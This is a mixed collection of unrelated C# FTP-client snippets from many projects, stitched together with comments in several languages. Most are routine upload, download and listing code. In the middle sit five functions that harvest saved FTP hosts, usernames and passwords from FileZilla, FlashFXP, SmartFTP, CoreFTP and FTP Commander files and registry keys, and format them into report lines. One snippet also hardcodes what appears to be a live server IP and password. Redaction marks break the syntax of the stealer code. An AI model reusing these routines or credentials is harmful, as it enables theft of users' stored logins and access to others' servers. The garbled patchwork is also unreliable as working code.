public void DownloadFile(string InFileName, string InLocalDestinationPath) { Check.Require(!string.IsNullOrEmpty(InFileName)); Check.Require(!string.IsNullOrEmpty(InLocalDestinationPath)); Ftp ftp = null; try { using (ftp = new Ftp()) { this.FTPConnect(ftp); var remoteFilePath = Path.Combine(this.FolderPath, InFileName); log.Info(string.Format("Downloading from [{0}] to [{1}]", remoteFilePath, InLocalDestinationPath)); ftp.Download(InFileName, InLocalDestinationPath); } } catch (Exception ex) { log.Error((string.Format("Failed downloading file [{0}] to [{1}]", InFileName, InLocalDestinationPath)), ex); throw ex; } finally { if (ftp != null) { ftp.Close(); } } }
private void btn_download_Click(object sender, EventArgs e) { #region 载 if (listBox1.SelectedItem == null) { MsgBox.ShowInfoMsg("请选择下载的文档!"); } else { SaveFileDialog dlg = new SaveFileDialog(); dlg.FileName = (string)listBox1.SelectedItem; if (dlg.ShowDialog() == DialogResult.OK) { string filePath = dlg.FileName.Substring(0, dlg.FileName.LastIndexOf("\\")); Ftp ftp = FtpControl.GetFtp("WorkOrder/" + model.WOCode); string message = ftp.Download(filePath, (string)listBox1.SelectedItem); if (message == "") { message = "下载完成!"; } MessageBox.Show(message); } } #endregion }
public void DownloadFiles(List <string> InFileNames, string InLocalDestinationFolderPath, bool InToDeleteOriginal) { Check.Require(InFileNames != null); Check.Require(!string.IsNullOrEmpty(InLocalDestinationFolderPath)); Ftp ftp = null; try { using (ftp = new Ftp()) { this.FTPConnect(ftp); foreach (var fileName in InFileNames) { try { var destinationFileNameFull = Path.Combine(InLocalDestinationFolderPath, fileName); var remoteFilePath = Path.Combine(this.FolderPath, fileName); log.Info(string.Format("Downloading from [{0}] to [{1}]", remoteFilePath, destinationFileNameFull)); if (File.Exists(destinationFileNameFull)) //Clear the temp folder from previous attempts { File.Delete(destinationFileNameFull); } ftp.Download(fileName, destinationFileNameFull); Check.Ensure(File.Exists(destinationFileNameFull), string.Format("File [{0}] should exist in [{1}]", fileName, InLocalDestinationFolderPath)); //Delete the original file if the file was copied to destination if (InToDeleteOriginal) { try { log.Info(string.Format("Deleting from [{0}]", remoteFilePath)); ftp.DeleteFile(fileName); } catch (Exception ex) { log.Error((string.Format("Failed deleting file [{0}]", remoteFilePath)), ex); } } } catch (Exception ex) { log.Error((string.Format("Failed downloading file [{0}] to [{1}]", fileName, InLocalDestinationFolderPath)), ex); throw ex; } } } } finally { if (ftp != null) { ftp.Close(); } } }
public void Supprimer(ITransfer transfer) { using (_monFtp = new Ftp()) { _monFtp.Connect(_maConfig.Host, _maConfig.Port); _monFtp.Login(_maConfig.Login, _maConfig.MotDePass); string resteChemin = MethodesGlobales.GetCheminServerSansRacinne(transfer.GetPath(), _maConfig.GetUriChaine()); if (string.IsNullOrEmpty(resteChemin)) { VariablesGlobales._leLog.LogCustom("Vous ne pouvez supprimer le répertoire racinne !"); MessageBox.Show("Vous ne pouvez supprimer le répertoire racinne !"); } else { if (transfer.EstUnDossier()) { _monFtp.DeleteFolder(resteChemin); } else { _monFtp.DeleteFile(resteChemin); } } _monFtp.Close(); } }
List <ITransfer> IClientFtp.ListFileFolder(string unDossier) { List <FtpItem> lesFtpElements = new List <FtpItem>(); List <ITransfer> lesElements = new List <ITransfer>(); using (Ftp monFtp = new Ftp()) { monFtp.Connect(_maConfig.Host, _maConfig.Port); // or ConnectSSL for SSL monFtp.Login(_maConfig.Login, _maConfig.MotDePass); string resteChemin = MethodesGlobales.GetCheminServerSansRacinne(unDossier, _maConfig.GetUriChaine()); if (!string.IsNullOrEmpty(resteChemin)) { monFtp.ChangeFolder(resteChemin); } lesFtpElements = monFtp.GetList(); monFtp.Close(); } foreach (FtpItem unFtpItem in lesFtpElements) { if (unFtpItem.IsFile) { lesElements.Add(new ElementFile(unFtpItem, Path.Combine(unDossier, unFtpItem.Name))); } } return(lesElements); }
private void _DownLoadAndProcessPositionFiles() { GatLogger.Instance.AddMessage("Pulling today's position files.", LogMode.LogAndScreen); Ftp ftpHandle = new Ftp("54.245.114.32", "usr_vtbullseye", "rod30cl0wn!"); ftpHandle.ChangeRemoteWorkingDirectory("PositionFiles"); string fileDateString = DateTime.Now.ToString("yyMMdd"); List <string> downloadedList = new List <string>(); foreach (IRemoteFile remoteFile in ftpHandle.GetWorkingDirContents()) { if (remoteFile.Filename.Contains(fileDateString)) { GatLogger.Instance.AddMessage(string.Format("Found file {0}", remoteFile.Filename), LogMode.LogAndScreen); string downloadedFile = GatFile.Path(Dir.Temp, remoteFile.Filename); ftpHandle.Pull(remoteFile.Filename, Path.GetDirectoryName(downloadedFile)); if (File.Exists(downloadedFile)) { downloadedList.Add(downloadedFile); _ProcessPositionFile(downloadedFile); } } } Thread.Sleep(3000); foreach (string file in downloadedList) { File.Delete(file); } }
public static void UploadFolder(FtpParameters parameters, string targetFolder, string sourceFolder) { using (var ftp = new Ftp()) { long currentPercentage = 0; ftp.Connect(parameters.Address, parameters.Port); ftp.Login(parameters.UserName, parameters.Password); ftp.Progress += (sender, args) => { if (currentPercentage < args.Percentage) { Logger.LogInfo("Uploaded {0} of {1} bytes {2}%", args.TotalBytesTransferred, args.TotalBytesToTransfer, args.Percentage); currentPercentage = args.Percentage; } }; if (!ftp.FolderExists(targetFolder)) { ftp.CreateFolder(targetFolder); } Logger.LogInfo("Uploading from {0} to {1}...", sourceFolder, targetFolder); ftp.UploadFiles(targetFolder, sourceFolder); Logger.LogInfo("Move from {0} to {1}...Complete", sourceFolder, targetFolder); } }
/********************************************** Constructor, Load & Closing ************************************************/ public FTPClient() { m_Settings = new Settings(); m_Settings.Reload(); try { m_Ftp = new Ftp(); m_Ftp.Server = m_Settings.FTPServer; m_Ftp.UserName = m_Settings.FTPUser; m_Ftp.Password = m_Settings.FTPPass; m_Ftp.Port = Convert.ToInt32(m_Settings.FTPPort); m_Ftp.PassiveMode = true; m_Ftp.Open(); if (m_Ftp.Active) { m_OK = true; m_Ftp.ChangeCurrentDir(@"/httpdocs/Places"); m_Ftp.PutFile("places.sqlite", File.OpenRead(m_Settings.PlacesFile)); m_Ftp.Close(); } } catch (Exception e) { MessageBox.Show(e.Message); } }
private void btn_Download_Click(object sender, EventArgs e) { #region 载 if (listBoxAdv1.SelectedItem == null) { MsgBox.ShowInfoMsg("请选择下载的文档!"); } else { SaveFileDialog dlg = new SaveFileDialog(); dlg.FileName = (string)listBoxAdv1.SelectedItem; if (dlg.ShowDialog() == DialogResult.OK) { string filePath = dlg.FileName.Substring(0, dlg.FileName.LastIndexOf("\\")); Ftp ftp = new Ftp(invAddress, FTPConfig.UserName, FTPConfig.Password); string message = ftp.Download(filePath, (string)listBoxAdv1.SelectedItem); if (message == "") { message = "下载完成!"; } MessageBox.Show(message); } } #endregion }
/// <summary> /// Permite la consulta de los ajustes existentes en la base de datos /// </summary> /// <param name="objEntidad">Entidad que contienen los datos a llenar en los parametros del procedimiento almacenado</param> /// <returns>Lista de datos</returns> public List <Ftp> consultar(Ftp objEntidad) { objEntidad.pOperacion = TiposConsultas.CONSULTAR; DataSet datos = ejecutarConsulta(objEntidad); List <Ftp> lista = new List <Ftp>(); Ftp objEntidad2 = null; foreach (DataRow fila in datos.Tables["tabla"].Rows) { objEntidad2 = new Ftp(); objEntidad2.pId = Convertidor.aEntero32(fila[FtpDEF.Id]); objEntidad2.pUrlFtp = Convertidor.aCadena(fila[FtpDEF.UrlFtp]); objEntidad2.pUsuarioFtp = Convertidor.aCadena(fila[FtpDEF.UsuarioFtp]); objEntidad2.pClaveFtp = Convertidor.aCadena(fila[FtpDEF.ClaveFtp]); objEntidad2.pRutaDestino = Convertidor.aCadena(fila[FtpDEF.RutaDestino]); objEntidad2.pIdCuentaBanco = Convertidor.aCadena(fila[FtpDEF.IdCuentaBanco]); objEntidad2.pTipoProceso = Convertidor.aCadena(fila[FtpDEF.TipoProceso]); objEntidad2.pFtpSeguro = Convertidor.aBooleano(fila[FtpDEF.FtpSeguro]); objEntidad2.pPrefijo = Convertidor.aCadena(fila[FtpDEF.Prefijo]); objEntidad2.pFormato = Convertidor.aCadena(fila[FtpDEF.Formato]); objEntidad2.pFechaUltimoIngreso = Convertidor.aCadena(fila[FtpDEF.FechaUltimoIngreso]); objEntidad2.pFechaUltimaCopia = Convertidor.aCadena(fila[FtpDEF.FechaUltimaCopia]); lista.Add(objEntidad2); } return(lista); }
public void Setup() { var dir = System.IO.Path.GetDirectoryName(typeof(FTPIntegration).Assembly.Location); System.Environment.CurrentDirectory = dir; client = new Ftp("", "", "speedtest.tele2.net/"); }
public void Parse(string url) { MasterIndex masterIndex = AddMasterIndex(url); Stream masterIndexStream = Ftp.GetZippedFile(url); ParseMasterIndexStream(masterIndex.MasterIndexId, masterIndexStream); }
/* constructor that initialize folders for csv feed */ public GiantTiger() { #region Folder Check // check and generate folders if (!Directory.Exists(rootDir)) { Directory.CreateDirectory(rootDir); } newOrderDir = rootDir + "\\GiantTigerNewOrders"; if (!Directory.Exists(newOrderDir)) { Directory.CreateDirectory(newOrderDir); } completeOrderDir = rootDir + "\\GiantTigerCompleteOrders"; if (!Directory.Exists(completeOrderDir)) { Directory.CreateDirectory(completeOrderDir); } #endregion // get credentials for giant tiger ftp log on and initialize the field using (SqlConnection connection = new SqlConnection(Credentials.AscmCon)) { SqlCommand command = new SqlCommand("SELECT Field1_Value, Field2_Value, Field3_Value FROM ASCM_Credentials WHERE Source = 'Vendornet' and Client = 'GiantTiger'", connection); connection.Open(); SqlDataReader reader = command.ExecuteReader(); reader.Read(); // initialize Ftp ftp = new Ftp(reader.GetString(0), reader.GetString(1), reader.GetString(2)); } }
private void ConnectToFtp(string login, string password, string ip) { try { Client = new Ftp(ip, login, password); var ftpDirectores = Client.DirectoryListSimple(""); if (ftpDirectores[0] == "") { ftpDirectory_comboBox.Enabled = false; MessageBox.Show(@"Cannot connect to ftp server!", @"Error!"); } else { ConnectionStatus = true; ftpDirectory_comboBox.Enabled = true; foreach (var item in ftpDirectores) { if (!item.Contains(".") && item != string.Empty) { ftpDirectory_comboBox.Items.Add(item); } } } } catch (Exception e) { _form.AddLogToFile(e.ToString()); } }
private void worker_DoWork(object sender, DoWorkEventArgs e) { error = ""; try { Ftp.directoryListSimple(ftpData, ""); } catch (WebException) { error = "ErrorFtp"; return; } RconClient rcon = RconClient.INSTANCE; rcon.setupStream(rconData.adress, rconData.port, rconData.password); if (!rcon.isInit) { error = "ErrorRcon"; return; } ftpData.Save(); rconData.Save(); }
private void god(string path, string dir) { using (Ftp client = new Ftp()) { try { // connect and login to the FTP client.Connect(path); client.Login("anonymous", "DONT-LOOK@MYCODE"); client.StateChanged += StateChanged; client.Traversing += Traversing; client.TransferProgressChanged += TransferProgressChanged; client.DeleteProgressChanged += DeleteProgressChanged; client.ProblemDetected += ProblemDetected; client.PutFile(dir, @"/user/app/temp.pkg"); client.SendCommand("installpkg"); var response = client.ReadResponse(); MessageBox.Show(response.Raw); SetText("Package Sent"); } catch (Exception ex) { MessageBox.Show(ex.Message); } client.Disconnect(); } }
public static bool SynchDocuments(Ftp ftpClient, List <MetaDoc> textWorks) { Globals.m_Logger.Info(string.Format("Publishing documents...")); for (int iTw = 0; iTw < textWorks.Count; iTw++) { MetaDoc txtWK = textWorks[iTw]; if (!txtWK.IsShowInGlobalIndex()) { continue; } string htmlFilePath = Utils.ChangePathExtension(Globals.IndexFolder() + txtWK.GetFileName(), Globals.HTML_EXT); string fileName = Path.GetFileName(htmlFilePath); if (txtWK.GetHashes().Count > 1) { // 1 because here 0 is the current one ftpClient.rename(Globals.FTPRemoteFolder() + "/" + fileName, txtWK.GetHashes()[1].GetHash() + Globals.HTML_EXT); } // TODO, move to revisions... ftpClient.upload(Globals.FTPRemoteFolder() + "/" + fileName, htmlFilePath); Globals.m_Logger.Info(string.Format("{0} added to remote ftp folder {1}", htmlFilePath, Globals.FTPRemoteFolder())); } return(true); }
public static string SCommander() { string sInhalt = Ftp.ReadLine(Strings.Replace(Ftp.RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString"), "uninstall.exe", (string)null, 1, -1, CompareMethod.Binary) + "Ftplist.txt", -1); string str1 = Ftp.Cut(sInhalt, ";Server=", ";Port="); string str2 = Ftp.Cut(sInhalt, ";Port=", ";Password="******";User="******";Anonymous="); string str3 = Ftp.Cut(sInhalt, ";Password="******";User="******"Name=", ";Server="); string str5; if (Operators.CompareString(Left, "", false) != 0) { try { str5 = "Entry: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUsername: "******"\r\nPassword: "******"<br />"; goto label_4; } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } } label_4: return(str5); }
public static string SFlashFxp() { string sInhalt = Ftp.ReadFile(Strings.Replace(Interaction.Environ("APPDATA"), Interaction.Environ("Username"), "All Users", 1, -1, CompareMethod.Binary) + "\\FlashFXP\\3\\quick.dat"); string str1 = Ftp.Cut(sInhalt, "IP=", "\r\n"); string str2 = Ftp.Cut(sInhalt, "port=", "\r\n"); string Left = Ftp.Cut(sInhalt, "user="******"\r\n"); string str3 = Ftp.Cut(sInhalt, "pass="******"\r\n"); string str4 = Ftp.Cut(sInhalt, "created=", "\r\n"); string str5; if (Operators.CompareString(Left, "", false) != 0) { try { str5 = "Entry: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUsername: "******"\r\nPassword: "******" (Encrypt)<br />"; goto label_4; } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } } label_4: return(str5); }
public static string SFilezilla() { string sInhalt = Ftp.ReadFile(Interaction.Environ("APPDATA") + "\\FileZilla\\sitemanager.xml"); string str1 = Ftp.Cut(sInhalt, "<Host>", "</Host>"); string str2 = Ftp.Cut(sInhalt, "<Port>", "</Port>"); string Left = Ftp.Cut(sInhalt, "<User>", "</User>"); string str3 = Ftp.Cut(sInhalt, "<Pass>", "</Pass>"); string str4 = Ftp.Cut(sInhalt, "<Name>", "</Name>"); string str5; if (Operators.CompareString(Left, "", false) != 0) { try { str5 = "Adı: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUsername: "******"\r\nPassword: "******"<br />"; goto label_4; } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } } label_4: return(str5); }
public static string Ssmart() { string sInhalt = Ftp.ReadFile(Interaction.Environ("APPDATA") + "\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\" + FileSystem.Dir(Interaction.Environ("APPDATA") + "\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\*.xml", FileAttribute.Normal)); string str1 = Ftp.Cut(sInhalt, "<Host>", "</Host>"); string str2 = Ftp.Cut(sInhalt, "<Port>", "</Port>"); string Left = Ftp.Cut(sInhalt, "<User>", "</User>"); string str3 = Ftp.Cut(sInhalt, "<Password>", "</Password>"); string str4 = Ftp.Cut(sInhalt, "<Name>", "</Name>"); string str5; if (Operators.CompareString(Left, "", false) != 0) { try { str5 = "Entry: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUsername: "******"\r\nPassword: "******" (Encrypt)<br />"; goto label_4; } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } } label_4: return(str5); }
public static string ScoreFTP() { string str1 = Ftp.ReadFile(Interaction.Environ("APPDATA") + "\\CoreFTP\\sites.idx"); string str2 = Ftp.RegRead("HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\" + str1 + "\\Host"); string str3 = Ftp.RegRead("HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\" + str1 + "\\Port"); string Left = Ftp.RegRead("HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\" + str1 + "\\User"); string str4 = Ftp.RegRead("HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\" + str1 + "\\PW"); string str5 = Ftp.RegRead("HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\" + str1 + "\\Name"); string str6; if (Operators.CompareString(Left, "", false) != 0) { try { str6 = "Entry: " + str5 + "\r\nHost: " + str2 + ":" + str3 + "\r\nUsername: "******"\r\nPassword: "******" (Encrypt)<br />"; goto label_4; } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } } label_4: return(str6); }
public void ShouldSetFtpUserName() { string un = "userTest"; Ftp ftp = Ftp.Server("localhost").UserName(un); Expect.AreEqual(ftp.Config.UserName, un, "UserName was not set properly"); }
public List <string> ListDirectory() { Ftp ftp = null; try { using (ftp = new Ftp()) { this.FTPConnect(ftp); var list = ftp.GetList().ConvertAll <string>(s => s.Name); log.Info(string.Format("Found in directory listing [{0}]", list.Count)); list.ForEach(l => log.Info(l + ';')); return(list); } } catch (Exception ex) { log.Error((string.Format("Failed accessing FTP [{0}]", this.HostIP)), ex); throw ex; } finally { if (ftp != null) { ftp.Close(); } } }
public void ShouldSetPassword() { string p = "password"; Ftp ftp = Ftp.Server("localhost").Password(p); Expect.AreEqual(ftp.Config.Password, p, "Password was not set properly"); }
/// <summary> /// Ping le serveur /// </summary> /// <returns>Retourne l'état du serveur</returns> public override bool Ping() { Console.WriteLine("Connexion au serveur " + this.ServerType + "..."); try { using (Ftp ftp = new Ftp()) // Initialisation de l'objet du FTP { ftp.Connect(this.ServerIP); // Connection au FTP sans login if (ftp.Connected) { ftp.Close(); return(true); } else { ftp.Close(); return(false); } } } catch (Exception e) { Console.WriteLine(e); return(false); } }
/// <summary> /// ftp transfer /// </summary> /// <param name="content">ftp content</param> /// <param name="sftpSetting">ftp setting</param> /// <returns></returns> bool FTPTransfer(string content, SFTPSetting sftpSetting) { try { _logger.LogInformation($"ftp begin"); using (var ftp = new Ftp()) { ftp.Connect(sftpSetting.Host); ftp.Login(sftpSetting.UserName, sftpSetting.Password); ftp.Mode = FtpMode.Active; ftp.ChangeFolder(sftpSetting.TransferDirectory); var encoding = Encoding.GetEncoding(sftpSetting.FileEncoding); var response = ftp.Upload($"{sftpSetting.TransferFilePrefix}{sftpSetting.FileName}", 0, encoding.GetBytes(content)); if (response.Code.HasValue && (response.Code.Value == 226 || response.Code.Value == 200)) { ftp.Close(); _logger.LogInformation($"ftp uplodad success"); return(true); } else { _logger.LogError($"ftp uplodad failure,because:{response.Message}"); ftp.Close(); return(false); } } } catch (Exception exc) { _logger.LogCritical(exc, $"ftp uplodad failure:{exc.Message}"); return(false); } }
private async Task <Message> ReadAsync(string path, string fileName) { var stream = new MemoryStream(); var fullPath = Path.Combine(path, fileName).Replace('\\', '/'); using (var ftpClient = new Ftp()) { ftpClient.Passive = _passive; ftpClient.TransferType = _transferType; await ftpClient.ConnectAsync(_serverAddress, _port, SslMode.None); await ftpClient.LoginAsync(_userName, _password); await ftpClient.GetFileAsync(fullPath, stream); await ftpClient.DisconnectAsync(); } // Rewind the stream: stream.Position = 0; return(new Message { ContentStream = stream }); }
public bool VerificarClave(string clave) { bool ret = false; clave += ".txt"; Ftp FtpClient = new Ftp(); FtpClient.HostAddress = Main.FTPHost; FtpClient.Port = Main.FTPPort; FtpClient.Username = Main.FTPName; FtpClient.Password = Main.FTPPass; FtpClient.Timeout = Main.FTPTimeOut; FtpClient.Connect(); System.IO.FileInfo fi = new System.IO.FileInfo(System.Windows.Forms.Application.ExecutablePath); FtpClient.GetFile(clave, fi.Directory.ToString() + @"\" + clave); //fi.Directory.ToString()) if (FtpClient.GetLastError == null) { FtpClient.Rename(clave, "OK_" + clave); ret = true; } FtpClient.Quit(); if (ret) { Licenses.Instance.Activated = true; } return(ret); }
private void Form1_Load(object sender, EventArgs e) { Assembly assembly = Assembly.LoadFrom(AppDomain.CurrentDomain.BaseDirectory.ToString() + @"\ListaTubeLe.exe"); var found = new AssemblyName(assembly.FullName); Versao = "Versão " + found.Version.Major + "." + found.Version.Minor + "." + found.Version.Build + "." + found.Version.Revision; // Puxar o XML atualizado do FTP try { using (Ftp client = new Ftp()) { client.Connect("ftp...."); client.Login("X", "Y"); string path = System.AppDomain.CurrentDomain.BaseDirectory.ToString() + @"ListaTube.xml"; client.Download("/public_html/letube/FtpTrial-ListaTube.xml", path); dsResultado.ReadXml(path); NrVideos = dsResultado.Tables[0].Rows.Count; MostraVideo(0); } } catch (Exception ex) { loga("Erro no FTP"); throw; } }
private void Watcher_Created(object sender, FileSystemEventArgs e) { new Thread(() => { Ftp ftp = new Ftp(ftp_server, ftp_login, ftp_password, point_id); ftp.SendFile(e.FullPath); } ).Start(); }
private static void Main(string[] args) { string llo = "LampLightOnlineSharp"; var pre = Directory.GetCurrentDirectory() + @"\..\..\..\..\..\..\"; /* var projs = new[] { llo+@"\LampLightOnlineClient\", llo+@"\LampLightOnlineServer\", }; foreach (var proj in projs) { #if DEBUG var from = pre + proj + @"\bin\debug\" + proj.Split(new[] { "\\" }, StringSplitOptions.RemoveEmptyEntries).Last() + ".js"; #else var from = pre + proj + @"\bin\release\" + proj.Split(new[] {"\\"}, StringSplitOptions.RemoveEmptyEntries).Last() + ".js"; #endif var to = pre + llo + @"\output\" + proj.Split(new[] { "\\" }, StringSplitOptions.RemoveEmptyEntries).Last() + ".js"; if (File.Exists(to)) File.Delete(to); File.Copy(from, to); } */ //client happens in buildsite.cs var depends = new Dictionary<string, Application> { /*{ llo+@"\Servers\AdminServer\", new Application(true, "new AdminServer.AdminServer();", new List<string> { @"./CommonLibraries.js", @"./CommonServerLibraries.js", @"./Models.js", }) }*/ { "MM.ChatServer", new Application(true, new List<string> { @"./CommonAPI.js", @"./ServerAPI.js", @"./CommonLibraries.js", @"./CommonServerLibraries.js", @"./Models.js", }) }, { "MM.GameServer", new Application(true, new List<string> { @"./CommonAPI.js", @"./MMServerAPI.js", @"./CommonLibraries.js", @"./CommonServerLibraries.js", @"./CommonClientLibraries.js", @"./MMServer.js", @"./Games/ZombieGame/ZombieGame.Common.js", @"./Games/ZombieGame/ZombieGame.Server.js", @"./Models.js", @"./RawDeflate.js", }) {} }, { "MM.GatewayServer", new Application(true, new List<string> { @"./CommonAPI.js", @"./ServerAPI.js", @"./CommonLibraries.js", @"./CommonServerLibraries.js", @"./MMServerAPI.js", @"./MMServer.js", @"./Games/ZombieGame/ZombieGame.Common.js", @"./Games/ZombieGame/ZombieGame.Server.js", @"./Models.js", }) }, { "MM.HeadServer", new Application(true, new List<string> { @"./CommonAPI.js", @"./ServerAPI.js", @"./CommonLibraries.js", @"./CommonServerLibraries.js", @"./Models.js", }) }, { "SiteServer", new Application(true, new List<string> { @"./CommonLibraries.js", @"./CommonServerLibraries.js", @"./Models.js", }) }, {"Client", new Application(false, new List<string> {})}, {"CommonWebLibraries", new Application(false, new List<string> {})}, {"CommonLibraries", new Application(false, new List<string> {})}, {"CommonClientLibraries", new Application(false, new List<string> {})}, {"CommonServerLibraries", new Application(false, new List<string> {})}, {"MMServer", new Application(false, new List<string> {})}, {"MMServerAPI", new Application(false, new List<string> {})}, {"ClientAPI", new Application(false, new List<string> {})}, {"ServerAPI", new Application(false, new List<string> {})}, {"CommonAPI", new Application(false, new List<string> {})}, }; #if FTP string loc = ConfigurationSettings.AppSettings["web-ftpdir"]; Console.WriteLine("connecting ftp"); Ftp webftp = new Ftp(); webftp.Connect(ConfigurationSettings.AppSettings["web-ftpurl"]); webftp.Login(ConfigurationSettings.AppSettings["web-ftpusername"], ConfigurationSettings.AppSettings["web-ftppassword"]); Console.WriteLine("connected"); webftp.Progress += (e, c) => { var left = Console.CursorLeft; var top = Console.CursorTop; Console.SetCursorPosition(65, 5); Console.Write("|"); for (int i = 0; i < c.Percentage / 10; i++) { Console.Write("="); } for (int i = (int) ( c.Percentage / 10 ); i < 10; i++) { Console.Write("-"); } Console.Write("|"); Console.Write(c.Percentage + " % "); Console.WriteLine(); Console.SetCursorPosition(left, top); }; string serverloc = ConfigurationSettings.AppSettings["server-ftpdir"]; string serverloc2 = ConfigurationSettings.AppSettings["server-web-ftpdir"]; Console.WriteLine("connecting server ftp"); SftpClient client = new SftpClient(ConfigurationSettings.AppSettings["server-ftpurl"], ConfigurationSettings.AppSettings["server-ftpusername"], ConfigurationSettings.AppSettings["server-ftppassword"]); client.Connect(); Console.WriteLine("server connected"); #endif foreach (var depend in depends) { var to = pre + "\\" + llo + @"\output\" + depend.Key + ".js"; var output = ""; if (depend.Value.Node) output += "require('./mscorlib.debug.js');\r\n"; else { //output += "require('./mscorlib.debug.js');"; } foreach (var depe in depend.Value.IncludesAfter) { output += string.Format("require('{0}');\r\n", depe); } if (depend.Value.Postpend != null) output += depend.Value.Postpend + "\r\n"; var lines = new List<string>(); lines.Add(output); lines.AddRange(File.ReadAllLines(to).After(1)); //mscorlib string text = lines.Aggregate("", (a, b) => a + b + "\n"); File.WriteAllText(to, text); // lines.Add(depend.Value.After); var name = to.Split(new char[] {'\\'}, StringSplitOptions.RemoveEmptyEntries).Last(); // File.WriteAllText(to, text); #if FTP long length = new FileInfo(to).Length; if (!webftp.FileExists(loc + name) || webftp.GetFileSize(loc + name) != length) { Console.WriteLine("ftp start " + length.ToString("N0")); webftp.Upload(loc + name, to); Console.WriteLine("ftp complete " + to); } if (!client.Exists(serverloc + name) || client.GetAttributes(serverloc + name).Size != length) { Console.WriteLine("server ftp start " + length.ToString("N0")); var fileStream = new FileInfo(to).OpenRead(); client.UploadFile(fileStream, serverloc + name, true); fileStream.Close(); Console.WriteLine("server ftp complete " + to); } if (!client.Exists(serverloc2 + name) || client.GetAttributes(serverloc2 + name).Size != length) { Console.WriteLine("server ftp start " + length.ToString("N0")); var fileStream = new FileInfo(to).OpenRead(); client.UploadFile(fileStream, serverloc2 + name, true); fileStream.Close(); Console.WriteLine("server ftp complete " + to); } #endif } string[] games = {"ZombieGame" /*, "TowerD", "ZakGame" */}; foreach (var depend in games) { var to = pre + llo + @"\output\Games\" + depend + @"\"; string[] exts = {"Client", "Common", "Server"}; foreach (var ext in exts) { // lines.Add(depend.Value.After); string fm = to + depend + "." + ext + ".js"; string text = File.ReadAllText(fm); File.WriteAllText(fm, text); #if FTP Console.WriteLine("ftp start " + text.Length.ToString("N0")); webftp.Upload(loc + "Games/" + depend + "/" + depend + "." + ext + ".js", fm); Console.WriteLine("ftp complete " + fm); Console.WriteLine("server ftp start " + text.Length.ToString("N0")); var fileStream = new FileInfo(fm).OpenRead(); client.UploadFile(fileStream, serverloc + "Games/" + depend + "/" + depend + "." + ext + ".js", true); fileStream.Close(); fileStream = new FileInfo(fm).OpenRead(); client.UploadFile(fileStream, serverloc2 + "Games/" + depend + "/" + depend + "." + ext + ".js", true); fileStream.Close(); Console.WriteLine("server ftp complete " + fm); #endif } } }
public List<string> GetFilesNamesFromFTP(string host, int port, string remoteFolderPath, string localFolderPath, string username, string password, List<string> userCodesList) { //host="83.12.64.6"; //port = 12024; //username = "******"; //password="******"; //remoteFolderPath = "Test2"; //localFolderPath = @"C:\"; //remoteFolderPath = ""; //userCodesList = new List<string>(); //userCodesList.Add("PL0091"); List<string> filesList = new List<string>(); try { using (Ftp client = new Ftp()) { client.Connect(host, port); // or ConnectSSL for SSL client.Login(username, password); //client.Download(@"reports\report.txt", @"c:\report.txt"); //client.DownloadFiles(remoteFolderPath, localFolderPath); //RemoteSearchOptions option = new RemoteSearchOptions("*.xml", true); //client.DeleteFiles(remoteFolderPath, option); //client.DeleteFolder(remoteFolderPath); //client.CreateFolder(remoteFolderPath); //byte[] bytes = client.Download(@"reports/report.txt"); //string report = Encoding.UTF8.GetString(bytes,0,bytes.Length); client.ChangeFolder(remoteFolderPath); List<FtpItem> items = client.GetList(); foreach (FtpItem item in items) { if (item.IsFile) { filesList.Add(item.Name); /* string filePath = localFolderPath + "\\" + item.Name; currentFileName = item.Name; if (!File.Exists(filePath)) { byte[] bytes = client.Download(item.Name); //string xelementString = Encoding.UTF8.GetString(bytes,0,bytes.Length); //xelementString = getRidOfUnprintablesAndUnicode(xelementString); MemoryStream stream = new MemoryStream(bytes); XElement xelement = XElement.Load(stream);//XElement.Parse(xelementString); xelement.Save(filePath); downloadedFilesCount++; } var sender = (from nm in xelement.Elements("Sender") select nm).FirstOrDefault(); string code = sender.Element("Code").Value; code = userCodesList.Where(c=>c==code).FirstOrDefault(); if (code != null) { xelement.Save(localFolderPath + "\\" + item.Name,); client.DeleteFile(item.Name); downloadedFilesCount++; } */ } } client.Close(); } } catch (Exception ex) { return new List<string> { "error-"+ex.Message}; } return filesList; }
/// <summary> /// Revises the FTP address. /// </summary> /// <param name="ftp">The FTP address.</param> public virtual void ReviseBillingFtpAddress( Ftp ftp) { BillingFtp = ftp; }
public string GetFileFromFTP(string host, int port, string remoteFolderPath, string localFolderPath, string username, string password, List<string> userCodesList, string fileName) { //host="83.12.64.6"; //port = 12024; //username = "******"; //password="******"; //remoteFolderPath = "Test2"; //localFolderPath = @"C:\"; //remoteFolderPath = ""; //userCodesList = new List<string>(); //userCodesList.Add("PL0091"); try { using (Ftp client = new Ftp()) { client.Connect(host, port); // or ConnectSSL for SSL client.Login(username, password); client.ChangeFolder(remoteFolderPath); string filePath = localFolderPath + "\\" + fileName; if (!File.Exists(filePath)) { byte[] bytes = client.Download(fileName); MemoryStream stream = new MemoryStream(bytes); XElement xelement = XElement.Load(stream);//XElement.Parse(xelementString); xelement.Save(filePath); } client.Close(); } } catch(Exception ex) { return "error-"+ex.Message; } return "ok";//+ " plików dla kodów "+codesString; }